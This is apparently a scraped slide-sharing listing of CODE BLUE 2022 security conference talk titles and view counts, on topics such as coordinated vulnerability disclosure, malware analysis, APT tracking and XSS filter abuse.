[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter... by CODE BLUE
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
CODE BLUE27 views
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo by CODE BLUE
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(3) by Lorenzo Pupillo
CODE BLUE14 views
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte... by CODE BLUE
[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...[cb22]  ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
[cb22] ”The Present and Future of Coordinated Vulnerability Disclosure” Inte...
CODE BLUE16 views
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman by CODE BLUE
[cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman [cb22]  「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション(2)by Allan Friedman
CODE BLUE23 views
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter... by CODE BLUE
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
[cb22] "The Present and Future of Coordinated Vulnerability Disclosure" Inter...
CODE BLUE9 views
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫 by CODE BLUE
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by  高橋 郁夫
[cb22] 「協調された脆弱性開示の現在と未来」国際的なパネルディスカッション (1)by 高橋 郁夫
CODE BLUE33 views
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-... by CODE BLUE
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
[cb22] Are Embedded Devices Ready for ROP Attacks? -ROP verification for low-...
CODE BLUE37 views
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka by CODE BLUE
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka [cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
[cb22] Wslinkのマルチレイヤーな仮想環境について by Vladislav Hrčka
CODE BLUE34 views
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla... by CODE BLUE
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
[cb22] Under the hood of Wslink’s multilayered virtual machine en by Vladisla...
CODE BLUE8 views
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti... by CODE BLUE
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
[cb22] CloudDragon’s Credential Factory is Powering Up Its Espionage Activiti...
CODE BLUE78 views
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info... by CODE BLUE
[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...[cb22]  From Parroting to Echoing:  The Evolution of China’s Bots-Driven Info...
[cb22] From Parroting to Echoing: The Evolution of China’s Bots-Driven Info...
CODE BLUE51 views
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”... by CODE BLUE
[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...[cb22]  Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
[cb22] Who is the Mal-Gopher? - Implementation and Evaluation of “gimpfuzzy”...
CODE BLUE13 views
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也 by CODE BLUE
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
[cb22] Mal-gopherとは?Go系マルウェアの分類のためのgimpfuzzy実装と評価 by 澤部 祐太, 甘粕 伸幸, 野村 和也
CODE BLUE191 views
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat... by CODE BLUE
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
[cb22] Tracking the Entire Iceberg - Long-term APT Malware C2 Protocol Emulat...
CODE BLUE78 views
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu... by CODE BLUE
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
[cb22] Fight Against Malware Development Life Cycle by Shusei Tomonaga and Yu...
CODE BLUE53 views

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa